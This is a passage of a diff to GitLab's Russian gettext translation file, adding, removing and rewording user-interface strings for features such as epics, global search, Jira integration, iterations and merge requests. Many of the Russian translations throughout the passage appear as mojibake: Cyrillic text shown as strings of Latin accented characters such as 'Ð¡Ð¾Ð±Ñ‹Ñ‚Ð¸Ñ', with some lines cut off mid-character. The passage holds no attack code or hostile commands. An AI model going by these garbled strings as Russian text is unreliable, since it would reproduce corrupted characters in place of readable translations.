+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13583,9 +13837,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr "Как Ñ Ð¼Ð¾Ð³Ñƒ Ñто иÑправить?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13634,9 +13885,6 @@ msgstr "Что-то пошло не так при заказе товара."
msgid "Epics|Something went wrong while removing issue from epic."
msgstr "Что-то пошло не так при удалении обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· цели."
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13973,7 +14221,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14157,9 +14405,6 @@ msgstr "За иÑключением политики:"
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr "ИÑÐºÐ»ÑŽÑ‡Ð°Ñ ÐºÐ¾Ð¼Ð¼Ð¸Ñ‚Ñ‹-ÑлиÑниÑ. Ограничено до %{limit} коммитов."
@@ -14277,6 +14522,12 @@ msgstr "Обзор проектов"
msgid "Explore public groups"
msgstr "Обзор публичных групп"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14352,6 +14603,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14470,6 +14727,9 @@ msgstr "Ðе удаетÑÑ Ð¿Ð¾Ð»ÑƒÑ‡Ð¸Ñ‚ÑŒ ÑÑылку"
msgid "Failed to install."
msgstr "Ðе удалоÑÑŒ уÑтановить."
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14536,6 +14796,9 @@ msgstr "Ðе удалоÑÑŒ перемеÑтить Ñту задачу, пото
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Ðе удалоÑÑŒ перемеÑтить задачу, потому что целевой проект не доÑтупен."
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Ðе удалоÑÑŒ повыÑить уровень метки из-за внутренней ошибки. ПожалуйÑта, ÑвÑжитеÑÑŒ Ñ Ð°Ð´Ð¼Ð¸Ð½Ð¸Ñтраторами."
@@ -14548,9 +14811,6 @@ msgstr "Ðе удалоÑÑŒ защитить окружение"
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14994,6 +15254,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "Фильтр по названию Ñтапа"
@@ -15090,15 +15353,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr "УÑтановить дату завершениÑ"
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15177,6 +15431,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15390,6 +15647,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15495,9 +15755,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr "Ðе удалоÑÑŒ удалить запиÑÑŒ отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ ÑущеÑтвующего проекта."
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr "Ðе удалоÑÑŒ удалить запиÑÑŒ отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ ÑущеÑтвующей загрузки."
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15771,9 +16028,6 @@ msgstr "ЗапиÑÑŒ базы данных отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ Ñ
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr "ЗапиÑÑŒ отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ð° (%{project_id}) была уÑпешно удалена."
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr "ЗапиÑÑŒ отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ (%{type}/%{id}) была уÑпешно удалена."
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15945,6 +16199,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr "Коммит GitLab"
@@ -16008,6 +16265,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16179,6 +16439,51 @@ msgstr "Глобальные ÑÐ¾Ñ‡ÐµÑ‚Ð°Ð½Ð¸Ñ ÐºÐ»Ð°Ð²Ð¸Ñˆ"
msgid "Global notification settings"
msgstr "Глобальные наÑтройки уведомлений"
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "ВернутьÑÑ Ð½Ð°Ð·Ð°Ð´"
@@ -16326,7 +16631,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16383,6 +16700,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -16647,7 +16967,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16947,6 +17267,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr "Ð’Ñ‹ можете перенеÑти Ñту группу только в группу, которой вы управлÑете."
@@ -17124,7 +17450,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17139,7 +17468,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17238,6 +17570,9 @@ msgstr "ЗдеÑÑŒ вы найдёте поÑледние дейÑтвиÑ, Ñв
msgid "Hi %{username}!"
msgstr "Привет, %{username}!"
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17507,8 +17842,8 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
-msgstr "ЕÑли длина какого-либо индекÑированного Ð¿Ð¾Ð»Ñ Ð¿Ñ€ÐµÐ²Ñ‹ÑˆÐ°ÐµÑ‚ Ñтот порог, оно будет обрезано до ÑоответÑтвующего количеÑтва Ñимволов, а оÑтавшаÑÑÑ Ñ‡Ð°ÑÑ‚ÑŒ будет иÑключена из индекÑÐ¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ поиÑка. Ðе отноÑитÑÑ Ðº репозиторию и индекÑированию в вики. УÑтановка Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² 0 означает неограниченную длину."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
+msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
msgstr ""
@@ -17546,6 +17881,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18329,7 +18667,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18494,9 +18835,6 @@ msgstr "Включать Ð¸Ð¼Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð° в текÑте уведомленÐ
msgid "Include description in commit message"
msgstr "Включить опиÑание и в опиÑание коммита"
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18560,6 +18898,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18777,12 +19118,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18900,6 +19247,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18915,6 +19265,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18945,7 +19301,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Шаблон интервала"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19002,8 +19361,8 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
-msgstr "Ðеверный пин-код"
+msgid "Invalid pin code."
+msgstr ""
msgid "Invalid pod_name"
msgstr ""
@@ -19140,22 +19499,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19170,9 +19526,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19191,9 +19544,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19380,6 +19730,9 @@ msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ Ð¾Ð±Ñуждений"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19455,6 +19808,9 @@ msgstr "Ðекоторые из ваших доÑок Ñкрыты. Ðктиви
msgid "IssueBoards|Switch board"
msgstr "Переключить доÑку"
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr "ПользовательÑÐºÐ°Ñ ÑиÑтема ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»Ñ Ð¾Ð±Ñуждений"
@@ -19512,16 +19868,13 @@ msgstr ""
msgid "Issues"
msgstr "ОбÑуждениÑ"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19530,9 +19883,6 @@ msgstr "ОбÑуждениÑми могут быть ошибки, задачи
msgid "Issues closed"
msgstr "ОбÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð·Ð°ÐºÑ€Ñ‹Ñ‚Ñ‹"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19626,6 +19976,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19635,6 +19988,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19731,9 +20087,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19758,9 +20120,6 @@ msgstr "Январь"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19869,18 +20228,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ Ð´Ð»Ñ %{noteable_model_name} отключены."
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19899,18 +20249,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr "Jira API URL"
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19920,6 +20264,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19929,12 +20276,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19965,9 +20306,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20265,6 +20603,9 @@ msgstr "Ключи"
msgid "Ki"
msgstr "Ки"
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20611,7 +20952,7 @@ msgstr "Узнать больше о шаблонах проекта группÐ
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20716,6 +21057,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20761,6 +21105,9 @@ msgstr ""
msgid "License Compliance"
msgstr "Служба комплаенÑа лицензий"
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20911,9 +21258,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr "Обнаружены лицензии Ñ Ð½ÐµÐ¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð½Ñ‹Ð¼ ÑтатуÑом комплаенÑа и политик проекта"
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr "Показывает лицензии, обнаруженные в проекте при %{linkStart}поÑледнем уÑпешном%{linkEnd} Ñканировании"
@@ -20941,15 +21285,15 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
+msgstr ""
+
msgid "Licenses|View license details for your project"
msgstr ""
msgid "Limit display of time tracking units to hours."
msgstr "Ограничить отображение единицы времени отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾ чаÑов."
-msgid "Limit namespaces and projects that can be indexed"
-msgstr ""
-
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
msgstr ""
@@ -20965,6 +21309,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21182,7 +21529,7 @@ msgstr "MD5"
msgid "MERGED"
msgstr "СЛИТО"
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21263,7 +21610,7 @@ msgstr "Управление уведомлениÑми"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21476,6 +21823,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21494,6 +21844,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21701,9 +22054,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21866,6 +22216,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21881,6 +22237,9 @@ msgstr ""
msgid "Merge commit message"
msgstr "Ðапишите комментарий к коммиту запроÑа на ÑлиÑние"
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ ÑлиÑний"
@@ -21926,22 +22285,13 @@ msgstr ""
msgid "Merge requests"
msgstr "ЗапроÑÑ‹ на ÑлиÑние"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr "ЗапроÑÑ‹ на ÑлиÑние- Ñто меÑто, где можно предлагать Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð²Ð½Ð¾Ñимые в проект, и обÑуждать Ñти Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸"
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr "ЗапроÑÑ‹ на ÑлиÑние доÑтупны только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ Ð²Ð¾ вторичных узлах Geo"
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22061,6 +22411,18 @@ msgstr "начал тему про коммит %{linkStart}%{commitDisplay}%{li
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22702,6 +23064,9 @@ msgstr "Добавить ключ SSH"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "Больше не показывать"
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22955,9 +23320,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23108,9 +23470,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23135,6 +23494,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23340,6 +23702,9 @@ msgstr "Ðовый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
msgid "New milestone"
msgstr "ÐÐ¾Ð²Ð°Ñ Ñтап"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr "Ðовый пароль"
@@ -23376,6 +23741,9 @@ msgstr "Ðовый региÑтрационный токен обработчиÐ
msgid "New schedule"
msgstr "Ðовое раÑпиÑание"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Ðовый Ñниппет"
@@ -23571,6 +23939,9 @@ msgstr "Файлы не найдены."
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23619,9 +23990,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23664,6 +24041,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "Ðет публичных групп"
@@ -23685,6 +24065,9 @@ msgstr ""
msgid "No schedules"
